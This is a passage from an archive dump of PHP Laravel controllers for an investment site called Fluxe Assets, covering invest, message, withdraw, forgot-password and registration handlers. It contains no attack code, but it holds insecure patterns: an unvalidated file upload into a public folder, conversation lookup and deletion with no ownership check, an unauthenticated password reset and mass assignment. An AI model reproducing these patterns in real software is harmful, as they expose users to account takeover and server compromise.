redirect()->back()->with('warning','You don,t have sufficient balance.'); } return redirect()->route('user.invest.checkout'); } }else{ return redirect()->route('front.index')->with('warning','Amount should be greater than 0!'); } } public function investAmount(Request $request){ $currency = globalCurrency(); if($request->amount>0){ if($plan = Plan::whereId($request->investId)->first()){ if($plan->invest_type == 'range'){ if(($plan->min_amount * $currency->value) > $request->amount ){ return back()->with('warning','Amount Should be greater than this!'); } if($request->amount > ($plan->max_amount * $currency->value)){ return back()->with('warning','Amount Should be less than this'); } } session(['invest_amount'=>$request->amount,'currencyId'=>$currency->id,'investPlanId'=>$plan->id]); return redirect()->route('user.invest.checkout'); } }else{ return redirect()->route('front.index')->with('warning','Amount should be greater then 0!'); } } public function planHistory(Request $request){ $data['invests'] = Invest::whereUserId(auth()->id()) ->when($request->trx_no,function($query) use ($request){ return $query->where('transaction_no', $request->trx_no); }) ->when($request->type,function($query) use ($request){ if($request->type == 'pending'){ return $query->where('status',0); }elseif($request->type == 'running'){ return $query->where('status',1); }elseif($request->type == 'completed'){ return $query->where('status',2); }else{ } }) ->orderBy('id','desc')->paginate(10); return view('user.invest.history',$data); } public function plans(){ $data['plans'] = Plan::whereStatus(1)->orderBy('id','desc')->get(); return view('user.invest.plans',$data); } public function checkout(){ $data['invests'] = Invest::whereUserId(auth()->id())->orderBy('id','desc')->limit(5)->get(); $data['gateways'] = PaymentGateway::where('status',1)->get(); $mercado = PaymentGateway::whereKeyword('mercadopago')->first(); $mercado = $mercado->convertAutoData(); $data['mercadoKey'] = $mercado['public_key']; return view('user.invest.create',$data); } public function refferalBonus($order){ if($this->gs->is_affilate == 1){ $referralUser = User::whereId($order->user_id)->first(); if(Session::has('affilate') || ($referralUser != NULL && $referralUser->referral_id != 0)){ if(Session::has('affilate')){ $this->referralUsers(Session::get('affilate')); }else{ if($referralUser->referral_id != 0){ $this->referralUsers($referralUser->referral_id); } } $referral_ids = $this->allReferralId(); if(count($this->allusers) >0){ $users = array_reverse($this->allusers); foreach($users as $key=>$data){ $user = User::findOrFail($data); if($referral = Referral::findOrFail($referral_ids[$key])){ $referralAmount = ($order->amount * $referral->percent)/100; $bonus = new ReferralBonus(); $bonus->from_user_id = auth()->id(); $bonus->to_user_id = $user->id; $bonus->percentage = $referral->percent; $bonus->level = $referral->level; $bonus->amount = $referralAmount; $bonus->type = 'invest'; $bonus->save(); $to_user = User::findOrFail($bonus->to_user_id); $trans = new Transaction(); $trans->email = $to_user->email; $trans->amount = $referralAmount; $trans->type = "Referral Bonus"; $trans->txnid = $order->transaction_no; $trans->user_id = $to_user->id; $trans->profit = 'plus'; $trans->save(); if($this->gs->is_smtp == 1) { $data = [ 'to' => $to_user->email, 'type' => "referral bonus", 'cname' => $to_user->name, 'oamount' => $referralAmount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $to_user->email; $subject = "Referral Bonus"; $msg = "Hello ".$to_user->name."!\nYou got bonus from referral.\nThank you."; $headers = "From: ".$this->gs->from_name."<".$this->gs->from_email.">"; mail($to,$subject,$msg,$headers); } $user->increment('balance',$referralAmount); $referralAmount = 0; } } } } } } public function allReferralId(){ $referrals = Referral::where('commission_type','invest')->get(); if(count($referrals)>0){ foreach($referrals as $key=>$data){ $this->referral_ids[] = $data->id; } return $this->referral_ids; } } public function referralUsers($id) { $referral = Referral::where('commission_type','invest')->get(); for($i=1; $i<=count($referral); $i++){ $user = User::findOrFail($id); $this->allusers[] = $user->id; if($user->referral_id){ $id = $user->referral_id; }else{ return false; } } return $this->allusers; } } Controllers/User/MessageController.php 0000644 00000005544 15111246743 0014145 0 ustar 00 <?php namespace App\Http\Controllers\User; use App\Classes\GeniusMailer; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Models\Admin; use Auth; use App\Models\AdminUserConversation; use App\Models\AdminUserMessage; use App\Models\Generalsetting; use App\Models\Notification; use Illuminate\Support\Str; class MessageController extends Controller { public function __construct() { $this->middleware('auth'); } public function index() { $user = auth()->user(); $convs = AdminUserConversation::where('user_id','=',$user->id)->paginate(); return view('user.message.index',compact('convs')); } public function create(){ return view('user.message.create'); } public function store(Request $request) { $request->validate([ 'subject' => 'required', 'message' => 'required', 'attachment' => 'required|mimes:png,jpeg,gif', ]); $msg = new AdminUserConversation(); $input = $request->all(); $input['ticket_number'] = '#TKT'.random_int(100000, 999999); $input['user_id'] = auth()->id(); if ($file = $request->file('attachment')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); $input['attachment'] = $name; } $msg->fill($input)->save(); $conversation = new AdminUserMessage(); $conversation->conversation_id = $msg->id; $conversation->user_id = auth()->id(); $conversation->message = $request->message; $conversation->photo = $msg->attachment; $conversation->save(); return redirect()->back()->with('message','Message Send Successfully.'); } public function show($id){ $data = AdminUserConversation::whereId($id)->first(); return view('user.message.show',compact('data')); } public function conversation(Request $request, $id){ $data = new AdminUserMessage(); $data->conversation_id = $id; $data->user_id = auth()->id(); $data->message = $request->message; if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); $data->photo = $name; } $data->save(); return redirect()->back()->with('message','Message Send Successfully.'); } public function adminmessagedelete($id) { $conv = AdminUserConversation::findOrfail($id); if($conv->messages->count() > 0) { foreach ($conv->messages as $key) { $key->delete(); } } $conv->delete(); return redirect()->back()->with('success','Message Deleted Successfully'); } } Controllers/User/WithdrawController.php 0000644 00000024554 15111246743 0014354 0 ustar 00 <?php namespace App\Http\Controllers\User; use App\Classes\GeniusMailer; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Models\BankPlan; use Auth; use App\Models\Currency; use App\Models\Generalsetting; use App\Models\Transaction; use App\Models\User; use App\Models\Withdraw; use App\Models\WithdrawMethod; use Illuminate\Support\Facades\Input; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; use Illuminate\Support\Str; use Validator; class WithdrawController extends Controller { public function __construct() { $this->middleware('auth:web'); } public function index() { $data['withdraws'] = Withdraw::whereUserId(auth()->id())->orderBy('id','desc')->limit(6)->get(); $data['methods'] = WithdrawMethod::whereStatus(1)->orderBy('id','desc')->get(); return view('user.withdraw.index',$data); } public function history(Request $request){ $data['withdraws'] = Withdraw::when($request->trx_no,function($query) use ($request){ return $query->where('txnid', $request->trx_no); }) ->when($request->type,function($query) use ($request){ if($request->type != 'all'){ return $query->where('status',$request->type); }else{ } }) ->whereUserId(auth()->id())->orderBy('id','desc')->paginate(10); return view('user.withdraw.history',$data); } public function store(Request $request) { $request->validate([ 'amount' => 'required|gt:0', ]); $user = auth()->user(); $method = WithdrawMethod::whereId($request->method_id)->first(); if($method->min_amount > $request->amount){ return redirect()->back()->with('warning','Min Amount is '.$method->min_amount); } if($request->amount > $method->max_amount){ return back()->with('warning','Max Amount is '.$method->max_amount); } $currency = Currency::whereId($method->currency_id)->first(); $amountToDeduct = $request->amount/$currency->value; $fee = (($method->percentage / 100) * $request->amount) + $method->fixed; $fee = $fee/$currency->value; $finalamount = $amountToDeduct + $fee; if($request->withdraw_wallet == 'main_wallet'){ if($finalamount > $user->balance){ return redirect()->back()->with('warning','Insufficient Balance.'); } }else{ if($finalamount > $user->interest_balance){ return redirect()->back()->with('warning','Insufficient Balance.'); } } if($request->withdraw_wallet == 'main_wallet'){ $user->balance = $user->balance - $finalamount; }else{ $user->interest_balance = $user->interest_balance - $finalamount; } $user->update(); $txnid = Str::random(12); $newwithdraw = new Withdraw(); $newwithdraw['user_id'] = auth()->id(); $newwithdraw['currency_id'] = $method->currency_id; $newwithdraw['method'] = $method->name; $newwithdraw['txnid'] = $txnid; $newwithdraw['amount'] = $amountToDeduct; $newwithdraw['fee'] = $fee; $newwithdraw['details'] = $request->details; $newwithdraw->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $finalamount; $trans->type = "Payout"; $trans->profit = "minus"; $trans->txnid = $txnid; $trans->user_id = $user->id; $trans->save(); $gs = Generalsetting::findOrFail(1); // $to = $user->email; $subject = 'Withdrawal Request Received'; $msg = '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Withdrawal Request Received</title> <style> body { margin: 0; padding: 0; font-family: "Arial", sans-serif; background-color: #f7f7f7; } .email-wrapper { width: 100%; background-color: #f7f7f7; padding: 20px 0; } .email-content { width: 100%; max-width: 600px; background-color: #ffffff; border-radius: 8px; margin: 0 auto; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } .email-header { background-color: #003366; padding: 20px; text-align: center; border-radius: 8px 8px 0 0; } .email-header img { max-width: 200px; } .email-header span { font-size: 18px; font-weight: 600; color: #00BFFF; display: block; margin-top: 10px; } .email-body { padding: 16px 30px; font-size: 16px; line-height: 1.5; color: #333; } .email-body h3 { color: #003366; margin-bottom: 15px; } .email-body p { margin-bottom: 20px; } .email-button { display: inline-block; background-color: #003366; color: #ffffff !important; padding: 6px 12px; font-size: 16px; border-radius: 5px; text-decoration: none; } .email-footer { background-color: #1f1f1f; color: #ffffff; text-align: center; padding: 12px; border-radius: 0 0 8px 8px; font-size: 14px; } .email-footer a { color: #00BFFF; text-decoration: none; } </style> </head> <body> <div class="email-wrapper"> <div class="email-content"> <div class="email-header"> <img src="https://fluxeassets.com/imgx/etemp.png" alt="Fluxe Assets Logo"> <span>Guiding You Toward Financial Growth</span> </div> <div class="email-body"> <p>Dear <strong>'.$user->name.'</strong>,</p> <p>We have received your withdrawal request and it is currently being processed.</p> <p>You will be notified once the payout is complete. If you have any questions, feel free to contact us at <a href="mailto:support@fluxeassets.com">support@fluxeassets.com</a>.</p> <p>Thank you for choosing <strong>Fluxe Assets</strong>.</p> <p style="margin-top: 30px;">Best regards,<br>The Fluxe Assets Team</p> </div> <div class="email-footer"> <p>Copyright © 2025 <a href="https://fluxeassets.com">Fluxe Assets</a>. All rights reserved.</p> </div> </div> </div> </body> </html>'; if($gs->is_smtp == 1) { /* $data = [ 'to' => $user->email, 'type' => "Withdraw", 'cname' => $user->name, 'oamount' => $newwithdraw->amount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); */ $mail = new PHPMailer(true); try { // SMTP settings $mail->isSMTP(); $mail->Host = $gs->smtp_host; $mail->SMTPAuth = true; $mail->Username = $gs->smtp_user; $mail->Password = $gs->smtp_pass; $mail->SMTPSecure = $gs->smtp_encryption; // 'tls' or 'ssl' $mail->Port = $gs->smtp_port; $mail->CharSet = 'UTF-8'; // Recipients $mail->setFrom($gs->from_email, $gs->from_name); $mail->addAddress($user->email, $user->name); // Content $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $msg; $mail->send(); } catch (Exception $e) { return response()->json('Email could not be sent. Error: ' . $mail->ErrorInfo); } } else { $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->route('user.withdraw.index')->with('message','Withdraw Requesting Successfully'); } public function details(Request $request, $id){ $data['data'] = Withdraw::findOrFail($id); return view('user.withdraw.details',$data); } } Controllers/User/TransferLogController.php 0000644 00000000726 15111246743 0015004 0 ustar 00 <?php namespace App\Http\Controllers\User; use App\Http\Controllers\Controller; use App\Models\BalanceTransfer; use Illuminate\Http\Request; class TransferLogController extends Controller { public function __construct() { $this->middleware('auth'); } public function index(){ $data['logs'] = BalanceTransfer::whereUserId(auth()->id())->orderBy('id','desc')->paginate(10); return view('user.transfer.index',$data); } } Controllers/User/ForgotController.php 0000644 00000023112 15111246743 0014010 0 ustar 00 <?php namespace App\Http\Controllers\User; use App\Models\Generalsetting; use App\Models\User; use Illuminate\Http\Request; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Input; use Illuminate\Support\Str; use Validator; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; class ForgotController extends Controller { public function __construct() { $this->middleware('guest'); } public function showForgotForm() { return view('user.forgot'); } /* public function forgot(Request $request) { $gs = Generalsetting::findOrFail(1); $input = $request->all(); if (User::where('email', '=', $request->email)->count() > 0) { $admin = User::where('email', '=', $request->email)->firstOrFail(); $autopass = Str::random(8); $input['password'] = bcrypt($autopass); $admin->update($input); $subject = "Reset Password Request"; $msg = "Your New Password is : ".$autopass; if($gs->is_smtp == 1) { $data = [ 'to' => $request->email, 'subject' => $subject, 'body' => $msg, ]; $mailer = new GeniusMailer(); $mailer->sendCustomMail($data); } else { $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($request->email,$subject,$msg,$headers); } return response()->json('Your Password Reseted Successfully. Please Check your email for new Password.'); } else{ return response()->json('No Account Found With This Email.'); } } */ public function forgot(Request $request) { $gs = Generalsetting::findOrFail(1); $input = $request->all(); if (User::where('email', '=', $request->email)->count() > 0) { $user = User::where('email', '=', $request->email)->firstOrFail(); $admin = User::where('email', '=', $request->email)->firstOrFail(); $autopass = Str::random(8); $input['password'] = bcrypt($autopass); $admin->update($input); $subject = "Reset Password Request"; $msg = '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Password Changed</title> <style> body { margin: 0; padding: 0; font-family: "Arial", sans-serif; background-color: #f7f7f7; } .email-wrapper { width: 100%; background-color: #f7f7f7; padding: 20px 0; } .email-content { width: 100%; max-width: 600px; background-color: #ffffff; border-radius: 8px; margin: 0 auto; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } .email-header { text-align: center; background-color: #002952; padding: 20px; text-align: center; border-radius: 8px 8px 0 0; } .email-header img { max-width: 186px; } .email-header span { font-size: 18px; font-weight: 600; color: #0F78F2; display: block; margin-top: 5px; } .email-body { padding: 20px; font-size: 16px; line-height: 1.5; color: #333; } .email-body h3 { color: #0A5CBC; } .email-body p { margin-bottom: 20px; } .email-button { display: inline-block; background-color: #003366; color: #ffffff !important; padding: 6px 12px; font-size: 16px; border-radius: 5px; text-decoration: none; margin-top: 20px; } .email-footer { background-color: #1f1f1f; color: #ffffff; text-align: center; padding: 10px; border-radius: 0 0 8px 8px; font-size: 14px; } .email-footer a { color: #0F78F2; text-decoration: none; } </style> </head> <body> <div class="email-wrapper"> <div class="email-content"> <div class="email-header"> <img src="https://fluxeassets.com/imgx/etemp.png" alt="Fluxe Assets Logo"> <span>Guiding You Toward Financial Growth</span> </div> <div class="email-body"> <h3>Dear '.$user->name.',</h3> <p>We have generated a new password for your account as requested:</p> <p style="font-size: 16px; font-weight: bold; background-color: #eee; color: #002952; padding: 10px; border-radius: 4px;">' . $autopass . '</p> <p>Please use this password to <a href="https://fluxeassets.com/user/login" class="email-button" target="_blank">access your account</a>, and change it as soon as possible from your account settings for added security.</p> <p>If you did not request a password reset, please contact us immediately.</p> <p>Best regards,<br>The Fluxe Assets Support Team</p> </div> <div class="email-footer"> <p>Copyright © 2025 <a href="https://fluxeassets.com">Fluxe Assets</a>. All rights reserved.</p> </div> </div> </div> </body> </html>'; $mail = new PHPMailer(true); try { // SMTP settings $mail->isSMTP(); $mail->Host = $gs->smtp_host; $mail->SMTPAuth = true; $mail->Username = $gs->smtp_user; $mail->Password = $gs->smtp_pass; $mail->SMTPSecure = $gs->smtp_encryption; // 'tls' or 'ssl' $mail->Port = $gs->smtp_port; // Recipients $mail->setFrom($gs->from_email, $gs->from_name); $mail->addAddress($request->email); // Content $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $msg; $mail->send(); return response()->json('Your Password Reset Successfully. Please check your email for new Password.'); } catch (Exception $e) { return response()->json('Email could not be sent. Error: ' . $mail->ErrorInfo); } } else { return response()->json('No Account Found With This Email.'); } } private function code_image() { $actual_path = str_replace('project','',base_path()); $image = imagecreatetruecolor(200, 50); $background_color = imagecolorallocate($image, 255, 255, 255); imagefilledrectangle($image,0,0,200,50,$background_color); $pixel = imagecolorallocate($image, 0,0,255); for($i=0;$i<500;$i++) { imagesetpixel($image,rand()%200,rand()%50,$pixel); } $font = $actual_path.'assets/front/fonts/NotoSans-Bold.ttf'; $allowed_letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $length = strlen($allowed_letters); $letter = $allowed_letters[rand(0, $length-1)]; $word=''; $text_color = imagecolorallocate($image, 0, 0, 0); $cap_length=6; for ($i = 0; $i< $cap_length;$i++) { $letter = $allowed_letters[rand(0, $length-1)]; imagettftext($image, 25, 1, 35+($i*25), 35, $text_color, $font, $letter); $word.=$letter; } $pixels = imagecolorallocate($image, 8, 186, 239); for($i=0;$i<500;$i++) { imagesetpixel($image,rand()%200,rand()%50,$pixels); } session(['captcha_string' => $word]); imagepng($image, $actual_path."assets/images/capcha_code.png"); } } Controllers/User/RegisterController.php 0000644 00000072155 15111246743 0014347 0 ustar 00 <?php namespace App\Http\Controllers\User; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Models\Generalsetting; use App\Models\User; use App\Classes\GeniusMailer; use App\Models\BankPlan; use App\Models\Country; use App\Models\Notification; use App\Models\ReferralBonus; use App\Models\Transaction; use App\Models\UserSubscription; use Auth; use Illuminate\Support\Carbon; use Illuminate\Support\Facades\Input; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; use Illuminate\Support\Str; use Validator; use Session; use Illuminate\Http\JsonResponse; class RegisterController extends Controller { public function __construct() { $this->middleware('guest'); } public function showRegisterForm(){ $data['countries'] = Country::where('status',1)->get(); return view('user.register',$data); } public function register(Request $request) { $value = session('captcha_string'); if ($request->codes != $value){ return response()->json(array('errors' => [ 0 => 'Please enter Correct Capcha Code.' ])); } /* $rules = [ 'username' => 'required|alpha_dash|min:5|unique:users', 'email' => 'required|email|max:255|unique:users', 'phone' => 'required|min:6', 'password' => 'required|confirmed' ]; */ $rules = [ 'name' => 'required|string|min:2|max:50|regex:/^[a-zA-Z\s\-]+$/', 'username' => 'required|alpha_dash|min:5|max:30|unique:users,username', 'email' => 'required|email|max:255|unique:users,email', 'phone' => 'required|min:6|max:20|regex:/^[0-9\-\+\(\)\s]+$/', 'password' => 'required|string|min:8|confirmed', ]; $messages = [ 'password.required' => 'Password is required.', 'password.string' => 'Password must be a valid string.', 'password.min' => 'Password must be at least 8 characters.', 'password.confirmed' => 'Password confirmation does not match.', 'username.required' => 'Username is required.', 'username.alpha_dash' => 'Username may only contain letters, numbers, dashes and underscores.', 'username.min' => 'Username must be at least 5 characters.', 'username.max' => 'Username must not exceed 30 characters.', 'username.unique' => 'This username is already taken.', 'email.required' => 'Email is required.', 'email.email' => 'Please enter a valid email address.', 'email.max' => 'Email must not exceed 255 characters.', 'email.unique' => 'This email is already registered.', 'phone.required' => 'Phone number is required.', 'phone.min' => 'Phone number must be at least 6 digits.', 'phone.max' => 'Phone number must not exceed 20 digits.', 'phone.regex' => 'Phone number format is invalid. Allowed characters: digits, spaces, dashes, parentheses, and plus sign.', ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $gs = Generalsetting::findOrFail(1); $user = new User; $input = $request->all(); $input['password'] = bcrypt($request['password']); $token = md5(time().$request->name.$request->email); $input['verification_link'] = $token; $input['affilate_code'] = md5($request->name.$request->email); $user->fill($input)->save(); if($gs->is_verification_email == 1) { //$verificationLink = "<a href=".url('user/register/verify/'.$token).">Simply click here to verify. </a>"; $verificationLink = "<a href=".url('user/register/verify/'.$token)." class='email-button'>Verify Email </a>"; $to = $request->email; $subject = 'Verify your email address.'; //$msg = "Dear Customer,<br> We noticed that you need to verify your email address.".$verificationLink; $msg = '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Password Changed</title> <style> body { margin: 0; padding: 0; font-family: "Arial", sans-serif; background-color: #f7f7f7; } .email-wrapper { width: 100%; background-color: #f7f7f7; padding: 20px 0; } .email-content { width: 100%; max-width: 600px; background-color: #ffffff; border-radius: 8px; margin: 0 auto; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } .email-header { text-align: center; background-color: #002952; padding: 20px; text-align: center; border-radius: 8px 8px 0 0; } .email-header img { max-width: 238px; } .email-header span { font-size: 18px; font-weight: 600; color: #0F78F2; display: block; } .email-body { padding: 20px; font-size: 16px; line-height: 1.5; color: #333; } .email-body h3 { color: #0A5CBC; } .email-button { display: inline-block; background-color: #003366; color: #ffffff !important; padding: 12px 24px; margin: 15px 0; font-size: 16px; border-radius: 5px; text-decoration: none; font-weight: bold; } .email-footer { background-color: #1f1f1f; color: #ffffff; text-align: center; padding: 10px; border-radius: 0 0 8px 8px; font-size: 14px; } .email-footer a { color: #0F78F2; text-decoration: none; } </style> </head> <body> <div class="email-wrapper"> <div class="email-content"> <div class="email-header"> <!-- Optional Logo --> <img src="https://fluxeassets.com/imgx/etemp.png" alt="Fluxe Assets Logo"> <span>Guiding You Toward Financial Growth</span> </div> <div class="email-body"> <h3>Dear '.$request->name.',</h3> <p>Thank you for signing up. To complete your registration, please verify your email address by clicking the button below:</p> <p style="text-align: center;">'.$verificationLink.'</p> <p>If you did not create an account, you can safely ignore this email.</p> <p>Thanks,<br>The Fluxe Assets Team</p> </div> <div class="email-footer"> <p>Copyright © 2025 <a href="https://fluxeassets.com">Fluxe Assets</a>. All rights reserved.</p> </div> </div> </div> </body> </html>'; if($gs->is_smtp == 1) { $mail = new PHPMailer(true); try { $mail->isSMTP(); $mail->Host = $gs->smtp_host; $mail->SMTPAuth = true; $mail->Username = $gs->smtp_user; $mail->Password = $gs->smtp_pass; if ($gs->smtp_encryption == 'ssl') { $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS; } else { $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; } $mail->Port = $gs->smtp_port; $mail->CharSet = 'UTF-8'; $mail->setFrom($gs->from_email, $gs->from_name); $mail->addAddress($user->email, $user->name); $mail->addReplyTo($gs->from_email, $gs->from_name); $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $msg; $mail->send(); } catch (Exception $e) { } } else { $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return response()->json('We need to verify your email address. We have sent an email to '.$to.' to verify your email address. Please click link in that email to continue.'); } else { if (Session::has('affilate')) { $referral = User::findOrFail(Session::get('affilate')); $user->referral_id = $referral->id; $user->update(); } if($gs->is_affilate == 1){ if(Session::has('affilate')){ $mainUser = User::findOrFail(Session::get('affilate')); $mainUser->balance += $gs->affilate_user; $mainUser->update(); $user->balance += $gs->affilate_new_user; $user->update(); $bonus = new ReferralBonus(); $bonus->from_user_id = $user->id; $bonus->to_user_id = $mainUser->id; $bonus->amount = $gs->affilate_user; $bonus->type = 'Register'; $bonus->save(); $newbonus = new ReferralBonus(); $newbonus->from_user_id = $mainUser->id; $newbonus->to_user_id = $user->id; $newbonus->amount = $gs->affilate_new_user; $newbonus->type = 'Register'; $newbonus->save(); $mainUserTrans = new Transaction(); $mainUserTrans->email = $mainUser->email; $mainUserTrans->amount = $gs->affilate_user; $mainUserTrans->type = "Referral Bonus"; $mainUserTrans->profit = "plus"; $mainUserTrans->txnid = Str::random(12); $mainUserTrans->user_id =$mainUser->id; $mainUserTrans->save(); $newUserTrans = new Transaction(); $newUserTrans->email = $user->email; $newUserTrans->amount = $gs->affilate_new_user; $newUserTrans->type = "Referral Bonus"; $newUserTrans->profit = "plus"; $newUserTrans->txnid = Str::random(12); $newUserTrans->user_id =$user->id; $newUserTrans->save(); } } $user->email_verified = 'Yes'; $user->update(); if($gs->is_smtp == 1) { $subject = 'Welcome to Fluxe Assets'; $msg = '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Welcome to Fluxe Assets</title> <style> body { margin: 0; padding: 0; font-family: "Arial", sans-serif; background-color: #f7f7f7; } .email-wrapper { width: 100%; background-color: #f7f7f7; padding: 20px 0; } .email-content { width: 100%; max-width: 600px; background-color: #ffffff; border-radius: 8px; margin: 0 auto; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } .email-header { background-color: #003366; padding: 20px; text-align: center; border-radius: 8px 8px 0 0; } .email-header img { max-width: 220px; } .email-header span { font-size: 18px; font-weight: 600; color: #00BFFF; display: block; margin-top: 10px; } .email-body { padding: 16px 30px; font-size: 16px; line-height: 1.5; color: #333; } .email-body h3 { color: #003366; margin-bottom: 15px; } .email-body p { margin-bottom: 20px; } .email-button { display: inline-block; background-color: #003366; color: #ffffff !important; padding: 12px 24px; font-size: 16px; border-radius: 5px; text-decoration: none; } .email-footer { background-color: #1f1f1f; color: #ffffff; text-align: center; padding: 12px; border-radius: 0 0 8px 8px; font-size: 14px; } .email-footer a { color: #00BFFF; text-decoration: none; } </style> </head> <body> <div class="email-wrapper"> <div class="email-content"> <div class="email-header"> <img src="https://fluxeassets.com/imgx/etemp.png" alt="Fluxe Assets Logo"> <span>Guiding You Toward Financial Growth</span> </div> <div class="email-body"> <h3>Welcome to Fluxe Assets</h3> <p>Dear <strong>'.$user->name.'</strong>,</p> <p>Thank you for registering with us. We are thrilled to have you onboard as part of our investment community.</p> <p>At Fluxe Assets, we are committed to helping you make smart financial decisions and grow your wealth through expert guidance and cutting-edge tools.</p> <p>Your account is now active. Explore personalized investment options, track your portfolio, and stay informed with real-time insights.</p> <p>Need help? <a href="https://fluxeassets.com/contact" style="font-weight: 600;">We are here for you</a>. </p> <p style="margin-top: 30px;">Sincerely,<br>The Fluxe Assets Team</p> </div> <div class="email-footer"> <p>Copyright © 2025 <a href="https://fluxeassets.com">Fluxe Assets</a>. All rights reserved.</p> </div> </div> </div> </body> </html>'; $mail = new PHPMailer(true); try { $mail->isSMTP(); $mail->Host = $gs->smtp_host; $mail->SMTPAuth = true; $mail->Username = $gs->smtp_user; $mail->Password = $gs->smtp_pass; if ($gs->smtp_encryption == 'ssl') { $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS; } else { $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; } $mail->Port = $gs->smtp_port; $mail->CharSet = 'UTF-8'; $mail->setFrom($gs->from_email, $gs->from_name); $mail->addAddress($user->email, $user->name); $mail->addReplyTo($gs->from_email, $gs->from_name); $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $msg; $mail->send(); } catch (Exception $e) { Log::error('Welcome email failed: ' . $mail->ErrorInfo); } } else { $to = $user->email; $subject = "Welcome to our website"; $msg = "Hello ".$user->name."!\nYour registration successfully completed.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } $notification = new Notification; $notification->user_id = $user->id; $notification->save(); Auth::guard('web')->login($user); return response()->json(1); } } public function token($token) { $gs = Generalsetting::findOrFail(1); if($gs->is_verification_email == 1) { $user = User::where('verification_link','=',$token)->first(); if(isset($user)) { $user->email_verified = 'Yes'; $user->update(); if (Session::has('affilate')) { $referral = User::findOrFail(Session::get('affilate')); $user->referral_id = $referral->id; $user->update(); } if($gs->is_affilate == 1 && Session::has('affilate')){ $mainUser = $referral; $mainUser->balance += $gs->affilate_user; $mainUser->update(); $user->balance += $gs->affilate_new_user; $user->update(); } $notification = new Notification; $notification->user_id = $user->id; $notification->save(); if($gs->is_smtp == 1) { $subject = 'Welcome to Fluxe Assets'; $msg = '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Welcome to Fluxe Assets</title> <style> body { margin: 0; padding: 0; font-family: "Arial", sans-serif; background-color: #f7f7f7; } .email-wrapper { width: 100%; background-color: #f7f7f7; padding: 20px 0; } .email-content { width: 100%; max-width: 600px; background-color: #ffffff; border-radius: 8px; margin: 0 auto; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } .email-header { background-color: #003366; padding: 20px; text-align: center; border-radius: 8px 8px 0 0; } .email-header img { max-width: 220px; } .email-header span { font-size: 18px; font-weight: 600; color: #00BFFF; display: block; margin-top: 10px; } .email-body { padding: 16px 30px; font-size: 16px; line-height: 1.5; color: #333; } .email-body h3 { color: #003366; margin-bottom: 15px; } .email-body p { margin-bottom: 20px; } .email-button { display: inline-block; background-color: #003366; color: #ffffff !important; padding: 12px 24px; font-size: 16px; border-radius: 5px; text-decoration: none; } .email-footer { background-color: #1f1f1f; color: #ffffff; text-align: center; padding: 12px; border-radius: 0 0 8px 8px; font-size: 14px; } .email-footer a { color: #00BFFF; text-decoration: none; } </style> </head> <body> <div class="email-wrapper"> <div class="email-content"> <div class="email-header"> <img src="https://fluxeassets.com/imgx/etemp.png" alt="Fluxe Assets Logo"> <span>Guiding You Toward Financial Growth</span> </div> <div class="email-body"> <h3>Welcome to Fluxe Assets</h3> <p>Dear <strong>'.$user->name.'</strong>,</p> <p>Thank you for registering with us. We are thrilled to have you onboard as part of our investment community.</p> <p>At Fluxe Assets, we are committed to helping you make smart financial decisions and grow your wealth through expert guidance and cutting-edge tools.</p> <p>Your account is now active. Explore personalized investment options, track your portfolio, and stay informed with real-time insights.</p> <p>Need help? <a href="https://fluxeassets.com/contact" style="font-weight: 600;">We are here for you</a>. </p> <p style="margin-top: 30px;">Sincerely,<br>The Fluxe Assets Team</p> </div> <div class="email-footer"> <p>Copyright © 2025 <a href="https://fluxeassets.com">Fluxe Assets</a>. All rights reserved.</p> </div> </div> </div> </body> </html>'; $mail = new PHPMailer(true); try { $mail->isSMTP(); $mail->Host = $gs->smtp_host; $mail->SMTPAuth = true; $mail->Username = $gs->smtp_user; $mail->Password = $gs->smtp_pass; if 